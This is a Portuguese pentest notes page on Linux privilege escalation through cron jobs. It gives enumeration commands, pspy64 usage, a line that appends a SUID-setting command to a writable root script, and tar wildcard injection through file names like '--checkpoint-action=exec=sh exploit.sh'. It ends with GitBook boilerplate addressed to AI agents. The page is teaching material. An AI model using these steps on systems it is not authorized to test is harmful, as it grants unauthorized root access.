> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs.md).

# Tarefas cron

Anotações sobre escalação de privilégios por tarefas cron para scripts graváveis, tarefas recorrentes de root, pspy64, jobs do Logstash e abuso do ImageMagick.

Jobs do cron criam caminhos de escalonamento de privilégio quando tarefas recorrentes do root executam scripts graváveis, caminhos relativos inseguros ou processadores vulneráveis. O ponto principal é provar que um usuário com poucos privilégios controla algo que uma tarefa agendada privilegiada executará.

## Metodologia

* Revise os crontabs do sistema, diretórios do cron, timers e scripts graváveis.
* Use o pspy64 para observar processos de curta duração sem root.
* Verifique se o job usa valores de PATH inseguros, arquivos graváveis ou diretórios de entrada controlados pelo invasor.

## Verificações rápidas

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Alvos Graváveis do Cron

Procure scripts ou diretórios que um job do cron privilegiado executa e que um usuário com poucos privilégios pode modificar.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Use `pspy64` quando os jobs do cron são de curta duração ou não aparecem em arquivos estáticos:

```bash
./pspy64
```

Se um job do cron do root executa um script gravável, um caminho simples de validação é definir o bit SUID no Bash e aguardar a execução da agenda:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Injeção de curingas

Se um job do cron usa comandos de arquivamento com curingas em um diretório gravável, os nomes de arquivos podem se tornar opções de comando.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Depois que o job do cron executar:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Calculadora de Expressões do Cron</h4></td><td>Pesquise expressões comuns do cron, strings especiais, sintaxe dos campos, significados de agendamento e notas de revisão de escalonamento de privilégio.</td><td><a href="/pt-br/privesc/cron-jobs/cron-expression-calculator.md">Calculadora de expressões cron</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Enumeração do Cron com pspy64</h4></td><td>Notas da ferramenta pspy64 para escalonamento de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">Ferramenta pspy64 - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Job do Cron com Script Bash Modificado</h4></td><td>Notas de Jobs do Cron - Script Modificado (Bash) para escalonamento de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">Tarefa cron com script Bash modificado - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Job do Cron com Script Python Modificado</h4></td><td>Notas de Jobs do Cron - Script Modificado (Python) para escalonamento de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">Tarefa cron com script Python modificado - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso do Cron com ImageMagick</h4></td><td>Notas de Jobs do Cron - Exploração do ImageMagick para escalonamento de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">Abuso de cron do ImageMagick - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso do Cron com Logstash</h4></td><td>Notas de Jobs do Cron (Logstash) para escalonamento de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação voltada para relatórios.</td><td><a href="/pt-br/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Abuso de cron do Logstash - Escalação de privilégios no Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
